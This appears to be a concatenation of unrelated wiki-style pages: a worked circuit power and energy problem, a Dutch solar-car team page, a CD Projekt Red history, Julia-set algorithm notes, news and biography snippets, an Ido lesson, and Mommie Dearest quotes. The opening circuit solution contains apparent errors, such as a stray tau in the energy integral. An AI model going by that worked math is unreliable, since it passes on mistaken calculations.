v g = 20 ∗ 3 2 π ∫ 0 2 π 3 τ ∗ ( 4 3 s i n ( 3 τ ) ) 2 d τ = 8.36 w a t t s {\displaystyle p_{avg}={\frac {20*3}{2\pi }}\int \limits _{0}^{\frac {2\pi }{3}}{\tau }*({\frac {4}{3}}sin(3{\tau }))^{2}\,d{\tau }=8.36watts} ... using wolfram Given the two graphs of voltage and current, find and graph the power and energy for t=0 to t=8. Solution: convert the voltage and current graphs to equations: v ( t ) , i ( t ) = { v = 0 , i = 0 , for t ≤ 0 v = 2 , i = 2 , for 0 < t ≤ 2 v = 2 − 2 ∗ ( t − 2 ) , i = − 2 , for 2 < t ≤ 4 v = − 2 , i = 2 , for 4 < t ≤ 5 v = 2 ∗ ( t − 5 ) − 2 , i = 2 , for 5 < t ≤ 6 v = 2 ∗ ( t − 5 ) − 2 , i = − 2 , for 6 < t ≤ 7 v = 2 , i = − 2 , for 7 < t ≤ 8 {\displaystyle v(t){\text{, }}i(t)={\begin{cases}v=0{\text{, }}i=0,&{\text{for }}t{\leq }0\\v=2{\text{, }}i=2,&{\text{for }}0<t{\leq }2\\v=2-2*(t-2){\text{, }}i=-2,&{\text{for }}2<t{\leq }4\\v=-2{\text{, }}i=2,&{\text{for }}4<t{\leq }5\\v=2*(t-5)-2{\text{, }}i=2,&{\text{for }}5<t{\leq }6\\v=2*(t-5)-2{\text{, }}i=-2,&{\text{for }}6<t{\leq }7\\v=2{\text{, }}i=-2,&{\text{for }}7<t{\leq }8\\\end{cases}}} Now do the math p ( t ) = v ( t ) i ( t ) {\displaystyle p(t)=v(t)i(t)} to find the power: p ( t ) = { 0 , for t ≤ 0 4 , for 0 < t ≤ 2 4 ∗ ( t − 2 ) − 4 , for 2 < t ≤ 4 − 4 , for 4 < t ≤ 5 4 ∗ ( t − 5 ) − 4 , for 5 < t ≤ 6 4 − 4 ∗ ( t − 5 ) , for 6 < t ≤ 7 − 4 , for 7 < t ≤ 8 {\displaystyle p(t)={\begin{cases}0,&{\text{for }}t{\leq }0\\4,&{\text{for }}0<t{\leq }2\\4*(t-2)-4,&{\text{for }}2<t{\leq }4\\-4,&{\text{for }}4<t{\leq }5\\4*(t-5)-4,&{\text{for }}5<t{\leq }6\\4-4*(t-5),&{\text{for }}6<t{\leq }7\\-4,&{\text{for }}7<t{\leq }8\\\end{cases}}} Now comes the more difficult part. Energy w ( t ) = ∫ 0 t τ ∗ p ( τ ) d τ {\displaystyle w(t)=\int \limits _{0}^{t}{\tau }*p({\tau })\,d{\tau }} . Integrate from the initial condition to t rather than a specific value. Evaluate the integrals using wolfram alpha. w ( t ) = { 0 , for t ≤ 0 ∫ 0 t 4 d τ = 4 t , for 0 < t ≤ 2 ∫ 2 t ( 4 ∗ ( τ − 2 ) − 4 ) d τ = 2 ( t 2 − 6 t + 8 ) , for 2 < t ≤ 4 ∫ 4 t ( − 4 ) d τ = − 4 ( t − 4 ) , for 4 < t ≤ 5 ∫ 5 t ( 4 ∗ ( τ − 5 ) − 4 ) d τ = 2 ( t 2 − 12 t + 35 ) , for 5 < t ≤ 6 ∫ 6 t ( 4 − ( τ − 5 ) ∗ 4 ) d τ = − 2 ( t − 6 ) 2 , for 6 < t ≤ 7 ∫ 7 t ( − 4 ) d τ = − 4 ( t − 7 ) , for 7 < t ≤ 8 {\displaystyle w(t)={\begin{cases}0,&{\text{for }}t{\leq }0\\\int \limits _{0}^{t}4\,d{\tau }=4t,&{\text{for }}0<t{\leq }2\\\int \limits _{2}^{t}(4*({\tau }-2)-4)\,d{\tau }=2(t^{2}-6t+8),&{\text{for }}2<t{\leq }4\\\int \limits _{4}^{t}(-4)\,d{\tau }=-4(t-4),&{\text{for }}4<t{\leq }5\\\int \limits _{5}^{t}(4*({\tau }-5)-4)\,d{\tau }=2(t^{2}-12t+35),&{\text{for }}5<t{\leq }6\\\int \limits _{6}^{t}(4-({\tau }-5)*4)\,d{\tau }=-2(t-6)^{2},&{\text{for }}6<t{\leq }7\\\int \limits _{7}^{t}(-4)\,d{\tau }=-4(t-7),&{\text{for }}7<t{\leq }8\\\end{cases}}} Find the first initial condition from the problem statement. Setting beginning t to the initial condition and find the integration constant. Find the next initial condition by setting the t to the end value of the defined segment. The goal is to find the cumulative energy, not the change in energy of each segment. This is done by making sure that the end point of the previous segment matches the value at the beginning of the next segment. When graphed, there should be no vertical jumps. w ( t ) = { 0 the assumed initial condition , for t ≤ 0 2 ( 0 ) 2 + C = 0 ⇒ C = 0 and 4 ∗ 2 + 0 = 8 , for 0 < t ≤ 2 2 ( 2 2 − 6 ∗ 2 + 8 ) + C = 8 ⇒ C = 8 and 2 ( 4 2 − 6 ∗ 4 + 8 ) + 8 = 8 , for 2 < t ≤ 4 − 4 ∗ ( 4 − 4 ) + C = 8 ⇒ C = 8 and − 4 ∗ ( 5 − 4 ) + 8 = 4 , for 4 < t ≤ 5 2 ∗ ( 5 2 − 12 ∗ 5 + 35 ) + C = 4 ⇒ C = 4 and 2 ( 6 2 − 12 ∗ 6 + 35 ) + 4 = 2 , for 5 < t ≤ 6 − 2 ( 6 − 6 ) 2 + C = 2 ⇒ C = 2 and − 2 ( 7 − 6 ) 2 + 2 = 0 , for 6 < t ≤ 7 − 4 ( 7 − 7 ) + C = 0 ⇒ C = 0 and − 4 ( 8 − 7 ) + 0 = − 4 , for 7 < t ≤ 8 {\displaystyle w(t)={\begin{cases}0{\text{ the assumed initial condition}},&{\text{for }}t{\leq }0\\2(0)^{2}+C=0\Rightarrow C=0{\text{ and }}4*2+0=8,&{\text{for }}0<t{\leq }2\\2(2^{2}-6*2+8)+C=8\Rightarrow C=8{\text{ and }}2(4^{2}-6*4+8)+8=8,&{\text{for }}2<t{\leq }4\\-4*(4-4)+C=8\Rightarrow C=8{\text{ and }}-4*(5-4)+8=4,&{\text{for }}4<t{\leq }5\\2*(5^{2}-12*5+35)+C=4\Rightarrow C=4{\text{ and }}2(6^{2}-12*6+35)+4=2,&{\text{for }}5<t{\leq }6\\-2(6-6)^{2}+C=2\Rightarrow C=2{\text{ and }}-2(7-6)^{2}+2=0,&{\text{for }}6<t{\leq }7\\-4(7-7)+C=0\Rightarrow C=0{\text{ and }}-4(8-7)+0=-4,&{\text{for }}7<t{\leq }8\\\end{cases}}} Graphing is a form of checking your work. Without graphing, the intuitive process can not kick in. w ( t ) = { 0 , for t ≤ 0 4 t , for 0 < t ≤ 2 2 ( t 2 − 6 t + 8 ) + 8 , for 2 < t ≤ 4 − 4 ( t − 4 ) + 8 , for 4 < t ≤ 5 2 ( t 2 − 12 t + 35 ) + 4 , for 5 < t ≤ 6 − 2 ( t − 6 ) 2 + 2 , for 6 < t ≤ 7 − 4 ( t − 7 ) , for 7 < t ≤ 8 {\displaystyle w(t)={\begin{cases}0,&{\text{for }}t{\leq }0\\4t,&{\text{for }}0<t{\leq }2\\2(t^{2}-6t+8)+8,&{\text{for }}2<t{\leq }4\\-4(t-4)+8,&{\text{for }}4<t{\leq }5\\2(t^{2}-12t+35)+4,&{\text{for }}5<t{\leq }6\\-2(t-6)^{2}+2,&{\text{for }}6<t{\leq }7\\-4(t-7),&{\text{for }}7<t{\leq }8\\\end{cases}}} When doing a long problem like this one, it is important to build one's intuition. There are two basic ways to do this: Think about power supply experiences and ask "What does this imply?" Add expectation feelings and emotion. Think of experiences, the emotion, the happening, not the end product of things you like. Attach the emotion associated with them to the problem at hand. Mix the doing them with solving the problem. Tell a story, then check the story against the graphs. What kind of device are we looking at? Has to be an element that both consumes and generates electricity. The current is switching back and forth every two seconds, thus it is most likely a motor driving some kind of back and forth motion. Motors are essentially an inductor. An inductor is going to vary the voltage all over the place to try and keep the current constant ... like a current source. The motor is working as planned (consuming energy) for the first four seconds sort of. During the second four seconds, something else is happening. It looks like a 2 year old has grabbed the fan that is trying to oscillate back and forth and is forcing it in the opposite direction. This could cause the motor to turn into a generator, hence the voltage variations, the negative energy and power.
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Dit project wordt geleid door studenten van de hogeschool GroepT te Leuven. Voor het vak Engineering Experience 4 kregen wij de opdracht om een 'Small Solar Vehicle' (SSV) te bouwen. Hiervoor kregen wij een zonnepaneel en een DC-motor ter beschikking van de docenten. Voor de verdere nodige aankopen beschikt ons team over een beperkt budget. De eerst weken volgen er seminaries over fablab, race strategie, DC-motor, overbrenging, enz. Na deze seminaries is het de bedoeling dat de studenten zelf aan de slag gaan. In eerste instantie dienen er berekeningen en analyses uitgevoerd te worden. Dit alles wordt dan later omgezet in een werkende SSV die deel neemt aan een race en het opneemt tegen de SSV's van de andere teams. Op deze pagina vindt u alle nodige informatie over ons team en het project. Green Solar Car (GSC) bestaat uit de volgende studenten: Wouter Aerts Tine Deckers Michael De Wachter Quentin Goossens Pieterjan De Feyter Frederik Claes Bram Corijn Hier vindt u de WBS, PlanVanAanpak, Samerwerkingscontract, GanttChart, Procesverslag en het Eindrapport. WBS PVA Samenwerkingscontract Gantt Chart Procesverslag Eindrapport Via onderstaande link vindt u onze blog die wij bijhouden voor EE4. Blog Team GSC GSC beschikt over een website ter promotie van ons project.
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CD Projekt red is a video game company that was founded by Marcin Iwiński and Michał Kiciński, who started the company in Poland in 1994. The period of time was around the time Poland was still recovering from soviet occupation during this time. They are known for making RPGs and especially the Witcher series.Before CD Projekt RedMarcin Iwiński was introduced to video games thanks to his father Mr. Iwiński, who made documentries and was able to leave the country, as a child he acquired a "Spectrum Sinclair" computer which allowed him to play some of the first video games to come out like Atic Atac. And after this he would use his father's ability to leave the country to get games he could sell. This would him to get in touch with small game sellers in america which allowed him to get hold of bootleg games he could sell in the Warsaw computer bazaar's in Poland as during that time there were no laws against doing so in the country making it legal . After meeting Micheal Kiciński in High school another person who sold games they would team up later on and created their company CD Projekt in 1994 at the age of 20. The company would become known for their RPG games after the release of The Witcher 2: Assasins of Kings. CD Projekt Red got its name because of the practice of burning CD ROM's with multiple games that was employed to get games into Poland at the time however as the company was made they were able to get legitimate contracts to localize video games in Poland. this was the original business that was run at the time however their was some interest in making video games of their own expressed by the founders of the company but they did not know how to get started. This changed when in 1999 CD Projekt Red gained some experience making games by prepared the video game "Baldur's Gate" for sale in Poland on behalf of Bio Ware who needed the game to be compatible with PC as most people in Poland used computers to play games. This decision was smart for the company as the game was a hit in Poland and not many pirates people were not willing to sell it cheaper as it was on seven CD's. The success would lead into a second Balder's gate game (Baldur’s Gate: Dark Alliance) being sent to CD Projekt however this deal fell through on Bio Ware's side and seeing this as an opportunity CD Projekt decided to create their own RPG considering they had already built a team of PC Developers so in 2002 their first official studio was founded. They would acquire the rights to make a video game of a book called Wiedźmin ("veedj-min") which in English translates to The Witcher from the author Andrzej Sapkowski and used it to create an RPG, in 2003 work on the Witcher began, the game was set in the world of Polish writer Andrezej Sapkowski and the game would become a success for the company in 2007 while not winning big awards it still managed to make a lot of money which would led to more success with "The Witcher 2: Assassins of kings" in 2011 which many awards and then they would only get more success with the 2015 release of The Witcher 3: Wild Hunt which would go to win even more awards and game of the year. The company has been going strong they made a few games and expansions between these events however all were either DLC and smaller games. their Present work the RPG CyberPunk 2077 which is their first game that does not have connection to the Witcher series. Fans Fans of CD Projekt Red point out that it is a company that has only show growth over the years producing quality RPG games that are on par with triple-A titles. They feel the company has expressed a need to keep the fan-base happy while other companies tend to lose sight of what made them so good in the first place. Critiques In response most critics point out that the company has been portrayed as the pinnacle of what a video game company should be when in actuality they are no different than any other company. The company has had its share of scandals with subsidiaries like GOG making jokes about trans-phobia. They do participate in the culture of overworking employees with mandatory over time and while they stated that this practice would not be mandatory in its upcoming game cyberpunk 2077. They later assured investors other wise after delays(the gamer). The Witcher The Witcher 2: Assassins of kings REDkit GWENT Thronebreaker: The Witcher Tales The Witcher Adventure Game The Witcher 3: Wild Hunt Purchese, Robert (2015-05-17). "Seeing Red: The story of CD Projekt". Eurogamer. "The History of CD Projekt Red - Games and More". Comic Years. 2019-08-18. Pol, CD PROJEKT S. A. ul Jagiellońska 74 03-301 Warszawa. "History". CD PROJEKT. "How CD Projekt Red found the road that took them to The Witcher". PCGamesN. Bies, Brian (2017-04-11). "CD Projekt: Reputation in Gaming Matters". Medium. "It's Time To Stop Worshiping CD Projekt Red". TheGamer. 2020-02-08. "Our History". CD PROJEKT RED.
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Algorithm for computing images of polynomial Julia sets with mathemathical guarantees against sampling artifacts and rounding errors in floating points arithmethic. True Shape Algorithm ( TSA) algorithm computes a decomposition of the complex plane into three regions: a white region, which is contained in exterior of Julia set a black region, which is contained in the interior of Julia set a gray region, which cannot be clasified as white or gray. It is a region which contains julia set J It gives adaptive approximation of the Julia set. Spatial resolution limited by available memory. K is contained in the escape circle of radius R = max(|c|, 2) centered at the origin, complex plane region = union of the cell with the same label cell = rectangle in the complex plane tree quadtree graph directed graph cell graph that represents the cell mapping IA = Interval Arithmetic dyadic fraction : working with exactly double-representable numbers by using a near dyadic fraction algorithm avoids : point sampling ( 1-pixel aproximation): what happens between samples ? function iteration in the escape-time algorithm ( do not use it) Floating-point rounding errors ( squaring needs double digits ) partial orbits ( program cannot run forever) Main features of the algorithm: "cell mapping to reliably classify entire rectangles " in the complex plane, not just a finite sample of points "it handles orbits by using color propagation in graphs induced by cell mapping" = "tracks the fate of complex orbit by inspecting the directed graph induced by cell mapping" "The numbers processed by the algorithm are dyadic fractions that are restricted in range and precision and the algorithm uses error-free fixed-point arithmetic whose precision depends only on the spatial resolution of the image. " a quadtree decomposition of the complex plane adaptive refinement = Subdivide each gray leaf cell into four new gray subcells Simple Cell Mapping (SCM) Generalized Cell Mapping (GCM) label propagation in graph C++ code by Marc Meidlinger, July-October 2019 Haskell code by Claude CMlib is a library of cell mapping algorithms and utility functions and classes written in c++ by Gergely Gyebroszki Luiz Henrique de Figueiredo "Images of Julia sets that you can trust" by Luiz-Henrique de Figueiredo, Diego Nehab, Jofge Stolfi, Joao Batista Oliveira- 2013 "Rigorous bounds for polynomial Julia sets" by Luiz-Henrique de Figueiredo, Diego Nehab, Jofge Stolfi, Joao Batista Oliveira First Palis-Balzan Symposium on Dynamical Systems L. H. FIGUEIREDO - Images of Julia sets that you can trust Interval arithmetic in wikipedia Images of Julia sets that you can trust from Palis-Balzan Int Symposium flacco-tutorial gcm Images of Julia sets that you can trust by LUIZ HENRIQUE DE FIGUEIREDO. DIEGO NEHAB, JOAO BATISTA OLIVEIRA Images of Julia sets that you can trustby Luiz Henrique de Figueiredo oktobermat fractalforums : trustworthy-2d3d-julia-set-source-code Trustworthy fractals by Claude Heiland-Allen
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Esala Tuibua is the General Secretary of the Jesus Christ Apostolic Church of Fiji. Tuibua opposes this legislation. Even though the military is an establishment having 99 per cent of native Fijians by composition, they still stand true to their duty which they have sworn by Almighty God to perform without prejudice, favour, malice or ill will. After analysing the stand of the military and the Government, I have come to realise that so many things have happened in Fiji in the name of Fijian supremacy and that I cannot be manipulated by anybody else but myself. The reconciliation, tolerance and unity already entrenched in the Bible is more than enough for us to do the only thing left for us to do - to be doers of the Word and not only hear it and deceive ourselves. This makes it morally unchristian for any human to legislate spiritual change since God himself does not force his people to do the same. Christians in this country should start taking another fresher look at their doctrinal content in trying to assume they know the mandate of God.
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Friday, September 2, 2005 New Orleans Disaster Related stories FEMA accused of misusing trained disaster workers as public-relations workers FEMA official in New Orleans blasts agency's response Parts of New Orleans flood again Were New Orleanians caught in political crossfire? Navy helping New Orleans pets Bush calls for expanding Federal authority Red Cross is not in New Orleans for Katrina, Guard raced it to Superdome Hurricane Katrina Hurricane Katrina causes upwards of $12bn of damage; oil prices surge At least 55 killed by Hurricane Katrina; serious flooding across affected region Hurricane Katrina strikes Florida, kills seven Tropical Storm Katrina threatens Florida, Bahamas Superdome refuge center Other links Effect of Hurricane Katrina on New Orleans Hurricane Katrina The United States Senate has cut short their summer recess and has arrived in Washington to approve a $10.5 billion aid bill to victims of Katrina as requested by President George W. Bush. The United States House of Representatives is expected to pass a similar bill later today. Bush has told Congress he will ask for more funds in the coming weeks. Most of the money will go to the Federal Emergency Management Agency and the rest will go to the Pentagon which is dispatching ships to the area. Bush has also asked his father, former President George H.W. Bush and former President Bill Clinton to help raise private funds for relief like they did for the December 2004 tsunami in Asia. Over two dozen nations, some with assets in the area, have offered aid to the city of New Orleans, but President George W. Bush has refused any aid from foreign nations which does not take the form of cash. Reuters. "U.S. Senate approves $10.5 bln for hurricane aid" — Reuters AlertNet, September 1, 2005 "US Congress provides 10 billion dollars for Katrina victims" — Deccan Herald, September 2, 2005 Associated Press. "Two dozen nations offer aid" — Star Tribune, September 1, 2005 WashingtonWatch.com. "A bill making emergency supplemental appropriations for the fiscal year ending September 30, 2005, to meet immediate needs arising from the consequences of Hurricane Katrina, and for other purposes" — WashingtonWatch.com, September 2, 2005 Public domain Public domain false false
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Park Ji-sung (Hangul: 박지성; born February 25, 1981) is a former South Korean soccer player who played for the British football club Manchester United in the Premier League, as well as for the South Korean national football team. I was sitting alone in an empty locker room, left leg injured. I need to prove my worth when the opportunity is given. I look at my leg, powerless, and wonder why I had to get hurt in this moment. Then, Coach Hiddink appears out of nowhere with an interpretor and speaks to me in English. Not understanding, I stare at the interpretor. He says you have great mentality. With that kind of mental strength, you will become a great player. I was shocked. Before I could murmur the easy 'thank you' in English, he was gone. My heart was pounding. The coach always seemed to be so far away, but he came to me and told me I have great mentality. Somewhere inside, energy was rousing up.... mentality. I have nothing else to boast, but one thing I could do is to never give up. I will endure all hardships, even if I would die from it. And I will keep this mentality.... in the entire World Cup, I played with those words ringing in my ears. With my mentality, I can become a great player. I kicked the ball and ran around the field clinging on to those words. For better or for worse, I am calm and quiet, so not many people take notice of me. But I was sure that Coach Hiddink would be looking at me and urging me to move on. This gave me courage. If it was not for Coach Hiddink, I would not be where I am now. With the words 'where I am now,' I am not referring to me becoming famous or being able to purchase a spacious condo for my parents. I am referring to the fact that I learned to love myself more. Within a minute, what Coach Hiddink said to me changed my life forever. I feel a bit shy thinking about what he would think after reading this, but he is my 'master' and I owe him everything and I won't be able to repay it in my lifetime. From Park's autobiography, praising the efforts of Guus Hiddink. Wikipedia has an article about: Park Ji-sung
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Do not hammer at rock outcrops aimlessly, and never leave rock fragments scattered over fields or roads. The irresponsible destruction of an outcrop in search of one or two fossils is not welcomed. Fossils should be collected sparingly, and preferably without the use of a hammer. Often the best fossils are those which have been Weathering|weathered out of the rock over a long period of time. They may be visible on the surface of the rock, or among the loose scree at the foot of an outcrop. Searching for fossils on the ground is largely a matter of patience and a keen eye. It is always better to leave a fossil in the field rather than try to dig it out in a hurry using the wrong tools, you could damage or destroy a valuable scientific find. Collecting is often a matter of personal judgement; consider the scientific value of the fossil and whether it would otherwise be damaged or destroyed by erosion. If you have found a fossil on the ground surface you know that it was exposed by erosion. Further erosion will not enhance the fossil. Would it be better to collect the specimen now, or return at a later time with the appropriate tools? Many online sites can be found to describe preferred collecting tools and methods for the fossils in which you are interested. If you think that the removal of the specimen is essential, then do it. Otherwise, contact an authority at a local university or club who can help you.
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Adjectives are words which modify nouns and describe the appearance or quality of something: big, small, bad, beautiful, red. Ido adjectives are easily recognised by their -A ending, as shown in the vocabulary below. You are learning Ido. - Vu lernas Ido. You speak Ido. - Vu parolas Ido. I am learning Ido. - Me lernas Ido. I speak Ido. - Me parolas Ido. I have a beautiful house. - Me havas bela domo. My house is big. - Mea domo esas/es granda. The house is big. - La domo esas/es granda. I live here. - Me habitas hike. I sleep in the garden. - Me dormas en la gardeno. My dog is old. - Mea hundo esas/es olda. My dog also lives here. - Mea hundo anke habitas hike. The dog sleeps in my small garden. - La hundo dormas en mea mikra gardeno. The little cat looks at the big dog. - La mikra kato regardas la granda hundo. You live in a beautiful house. - Vu habitas en bela domo. You sleep on the beautiful table. - Vu dormas sur la bela tablo. The cat sleeps under the beautiful flower. - La kato dormas sub la bela floro. The horse is old. - La kavalo esas/es olda. The little horse is young. - La mikra kavalo esas/es yuna. The young horse likes the drink. - La yuna kavalo prizas la drinkajo. You are buying food for the horse. - Vu kompras manjajo por la kavalo. I buy food here. - Me kompras manjajo hike. I am putting your plate here. - Me pozas vua plado adhike. The plate is red. - La plado esas/es reda. I am putting food on the plate. - Me pozas manjajo adsur la plado. The old mouse eats the food. - La olda muso manjas la manjajo. A drink is in the small cup. - Drinkajo esas/es en la mikra taso. The blue cup is on the table. - La blua taso esas/es sur la tablo. You see the mouse in the cup. - Vu vidas la muso en la taso. Your milk is also in the cup. - Vua lakto esas /es anke en la taso. I am putting the book on the wall. - Me pozas la libro adsur la muro. The negative in Ido is formed by using "ne". It means "not". In English we say "I am not, I must not, I have not (I haven't)". But in Ido the negation "ne" is usually in front of the verb: Me ne es, Me ne havas, but, Me ne mustas - I don't have to... Me NE mustas irar adible. - I do not have to go there. Me NE mustas facar to. - I don't have to do it (no responsibility to do it). Me mustas NE facar to. - I must not do it (total responsibility to NOT do it, stronger sense than "I don't have to do it."). Most verbs in English add "does" or "do" to help form the negative: I "do" not have (I don't have). Peter "does" not read (doesn't read). Ido forms negatives without using an equivalent to "do" or "does". Ido uses the same simple "ne" pattern for all negatives: Me ne havas (I do not have), Peter ne lektas (Peter does not read). Ido creates many new words (called "derivations") from a smaller group of "root" words (called "radicals") by adding new beginnings and endings to the roots to specify the meaning. We will have many, many examples of this process. Our first example shows how to make nouns from adjectives. The process is simple: change the adjective ending -A to the noun ending -O, and you have a noun with the same sense of the adjective: bona - good -> bono - good one/good man. yuna - young -> yuno - young one/young boy or girl. acesora - accessory -> acesoro - an accessory. You can also go the other way, to create adjectives from nouns: oro - gold -> ora - golden, made of gold. I am - Me esas/es. I am not - Me ne esas/es. I have - Me havas. I haven't - Me ne havas. I see - Me vidas. I don't see - Me ne vidas. I like - Me prizas. I don't like - Me ne prizas. I walk - Me promenas. I am not walking - Me ne promenas. I am not old. - Me ne esas/es olda. I don't see you. - Me ne vidas vu. You don't see me. - Vu ne vidas me. I don't like the house. - Me ne prizas la domo. I am not eating the food. - Me ne manjasla manjajo. The dog doesn't speak Ido. - La hundo ne parolas Ido. You do not live in London. - Vu ne habitas en London. The dog is not learning Ido. - La hundo ne lernas Ido. Maria doesn't live in Paris. - Maria ne habitas en Paris. You are not looking at Maria. - Vu ne regardas Maria. You are not reading the book. - Vu ne lektas la libro. The plate is not in the house. - La plado ne esas/es en la domo. The dog isn't looking at the horse. - La hundo ne regardas la kavalo. The cat is not sleeping in the box. - La kato ne dormas en la buxo. The boy/girl is not drinking the milk. - La yuno ne drinkas la lakto. Felix is a thin old cat. - Felix esas/es magra olda kato. He lives behind your house in the forest. - Ilu habitas dop vua domo en la foresto. He often walks in my large garden. - Ilu ofte promenas en mea granda gardeno. He often sleeps on my lawn. - Ilu ofte dormas sur mea gazoneyo. Today Felix is chasing a fat brown mouse. - Hodie Felix chasas grosa bruna muso. Today Felix hasn't got any food. - Hodie Felix ne havas manjajo. He is very sad. - Ilu esas/es tre trista. So I put a fish for him on a plate in the garden. - Do me pozas fish por ilu adsur plado en la gardeno. Now Felix is very happy. - Nun Felix esas/es tre felica. Maria sees Felix. - Maria vidas Felix. She doesn't like Felix and chases him out of my garden. - Elu ne prizas Felix e chasas ilu ek mea gardeno. Felix is on the street. - Felix esas/es sur la strado. Rex is a fierce dog. - Rex esas/es feroca hundo. Rex sees Felix and chases him. - Rex vidas Felix e chasas ilu. There are some grammatical points in this conversation that you haven't seen up to now. They will be explained in later lessons. You can understand and use these conversational phrases without knowing the grammatical fine points just yet. Good morning! - Bona matino! Good day! - Bona jorno! - Quale vu nomesas? My name is Peter. - Me nomesas Peter. How are you? - Quale vu standas? Very well. - Tre bone. Thank you! - Me dankas! Are you tired? - Ka vu esas fatigita? Not at all! - Tote ne! Yes, a little. - Yes, kelkete. No, sir. - No, sioro. If you please. - Me pregas. I am hungry. - Me hungras. Are you thirsty? - Ka vu durstas? Give me a glass. - Donez a me glaso. A cup of tea. - Taso de teo. Do you want...? - Ka vu deziras...? I don't mind. - Me ne objecionas. It does not matter. - Ne importas. You may drop the final "a" of adjectives for euphony: Bona -> Bon. Here is another conversation between Peter and Mary. P: Bon jorno! Quale vu standas? M: Tre bone, danko. E vu? P: Me standas bone, danko. Me nomesas Peter. Quale vu nomesas? M: Me nomesas Mary. P: Til rivido, Mary! M: Til rivido, Peter!
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Mommie Dearest is a 1981 biographical drama film about the abusive and traumatic upbringing of Christina Crawford at the hands of her adoptive mother, screen queen Joan Crawford. Directed by Frank Perry. Written by Robert Getchell, Tracy Hotchner, Frank Perry, and Frank Yablans, based on the 1978 autobiography of the same name by Christina Crawford. To my darling Christina, with love...Mommie Dearest taglines NO... WIRE... HANGERS! What's wire hangers doing in this closet when I told you NO WIRE HANGERS, EVER?! I work and work 'til I'm half-dead, and I hear people say, "She's getting old." And what do I get? A daughter... who cares as much about the beautiful dresses I give her... as she cares about me! WHAT'S WIRE HANGERS DOING IN THIS CLOSET?! ANSWER ME! I buy you beautiful dresses, and you treat them like they were some dishrag! You do! $300 dress on a wire hanger? We'll see how many you've got, if they're hidden somewhere! We'll see! We'll see! Get out of that bed. All of this is coming out! Out...out...out...out!!! You got any more? We're gonna see how many wire hangers you've got in your closet! [throws items out of Christina's closet onto the floor despite Christina's protests, and soon discovers a second dress on a wire hanger] A wi... wire hanger! WHY?! WHY?!!!! Christina, get out of that bed. Get out of that bed! You live in the most beautiful house in Brentwood... [begins beating Christina with the hanger and Christina tells her to stop hurting her, as Christina shrieks and bawls in pain and Christina tells her to stop hurting her] ...and you don't care if your clothes get stretched out from wire hangers?! And your room looks like some $2-a-week furnished room in some two-bit back street town in Oklahoma! Get up! Clean up this mess! Note: the bolded line is ranked #72 in the American Film Institute's list of the top 100 movie quotations in American cinema. [addressing the fans camped out in front of her house on Oscar night] I would rather be here with you than anywhere else in the world. You, all of you here and everywhere, gave me this award tonight. And I accept it from you and only you. I love all of you. Now please forgive me, good night. [addressing the men in the Pepsi boardroom] DON'T FUCK WITH ME FELLAS! This ain't my first time at the rodeo. You forget the press that I delivered to Pepsi was MY POWER. I can use it any way I want. It's a sword... that cuts both ways. Note: the word "fuck" is redubbed as "mess" in some censored versions TINA! Bring me the axe! You're a lousy substitute for someone who really cares. [yelling at her children for making noise when she is trying to take a nap] Christina, Christopher! DAMMIT!!! [about Christina's refusal to eat her meat] WHY must EVERYTHING be a CONTEST?! [lecturing her baby dolls after making Joan mad] You were very, very bad to wake Mommie up like that. VERY naughty. I told you, Mommie has to be beautiful today. This afternoon, she has to see MISTER MAYER. Today is so important. You are thoughtless and selfish. You must learn to think about other people. You are bad, bad spoiled children. Adopted children are luckiest because they were chosen. [in tears, after the "wire hangers"/bathroom cleaning incident] Jesus Christ! Joan: Did you scrub the bathroom floor today? DID YOU? Young Christina: Yes, Mommie. Joan: Yes, Mommie what? Young Christina: Yes, Mommie Dearest. Joan: When I told you to call me that, I wanted you to mean it. Young Christina: [Entering Joan's bedroom after seeing her dolls are missing] My babies! Someone stole both my babies! Joan: That's good, darling. They were thoughtless, selfish, spoiled children - now they won't wake you up when you need your rest. [Joan has just easily beaten Christina in a pool race] Joan: Oh, you lost again. Young Christina: It's not fair. You're bigger than I am, it's not fair to win twice. Joan: AH, but nobody ever said life was fair, Tina. I'm bigger and I'm faster. I will always beat you. Young Christina: Then I'm not gonna play with you anymore. EVER! Joan: Don't you EVER use that tone of voice with me, missy. WHO DO YOU THINK YOU'RE TALKING TO?! I'll tell you what you're gonna do, you're gonna MARCH yourself UPSTAIRS to your room and you will STAY THERE until I tell you to come out. Young Christina: No I won't. Joan: No you won't? Yes... you... WILL! [Spanks Christina's butt two times] Young Christina: OW! OW! I won't go! Joan: All right, all right! [drags Christina to the door of the pool house despite the girl's protests] You will stay in here until you are ready to behave- Christina: I WON’T GO! Joan: And... and to APOLOGIZE! Christina: NO, I WON’T! Joan: IN! [shoves Christina into the pool house and shuts the door] Young Christina: [sobbing, inside the pool house] AAAAAAH, MOMMIE! Joan: [after discovering dirt underneath a large indoor planter] Ohhhh... Helga. When you polish the floor, you have the move the tree. If you can't do something right, don't do it at all. Helga: I'm sorry, Miss Crawford... Joan: Gimmie the soap. You see, Carol Ann, you've got to stay on top of things every single minute. [the doorbell rings] Carol Ann, will you get that? Carol Ann: Yes, Miss Crawford. Joan: Helga, I'm not mad at you, I'm mad at the dirt. [Young Christina has a bloody piece of steak on her lunch plate] Joan: Christina, you haven't touched your lunch. Young Christina: It's raw. Joan: It's rare, not raw. Young Christina: But it's got all this red juice when you push on it. Joan: Then don't push on it. Darling, rare meat is good for you. The doctor said so. Christina, meat loses its vitamins if it's overcooked. Young Christina: But I've had my vitamins this morning. Pills. Joan: [to Carol-Ann] She negotiates everything like a goddamn Hollywood agent. Christina, eat your lunch. You are not getting up from this table until you have finished that meat. Christina: There's a liquor store to the right. Joan: I should've know you'd know where to find the boys and the booze. Joan: Why do you deliberately defy me? Christina: Why did you tell her I got expelled?! Joan: Because you did get expelled. Christina: That... is a lie. Joan: [smacking Christina hard across the face twice] You love it, don't you? YOU LOVE TO MAKE ME HIT YOU! Barbara: Joan! Joan: Barbara, PLEASE! PLEASE, Barbara. Leave us alone, Barbara. If you need anything, ask Carol Ann. [laughs bitterly] This is wonderful. THIS IS WONDERFUL. YOU - You deliberately embarrassed me in front of a REPORTER. A REPORTER. I told you how important this was to me, I TOLD YOU. Joan: I don't know what to do with you. Christina : WHY NOT!? Joan: I don't ask much of you, girl! Why can't you give me the respect that I'm entitled to?! Why can't you treat me... like I would be treated by any STRANGER ON THE STREET?! Christina: Because I am not... one of your FANS!!! Young Christina: [in Joan's room, looking into the mirror, imitating her mother] Oh yes, it was thrilling. So grateful to you all, my wonderful fans, who made me a star. Oh yes, it was thrilling. So grateful to you all, my wonderful fans, who made ME a STAR. [notices her mother standing behind her] ...Mommie! Joan: What do you think you're doing? Young Christina: Nothing. I'm just... I'm just... playing. Joan: 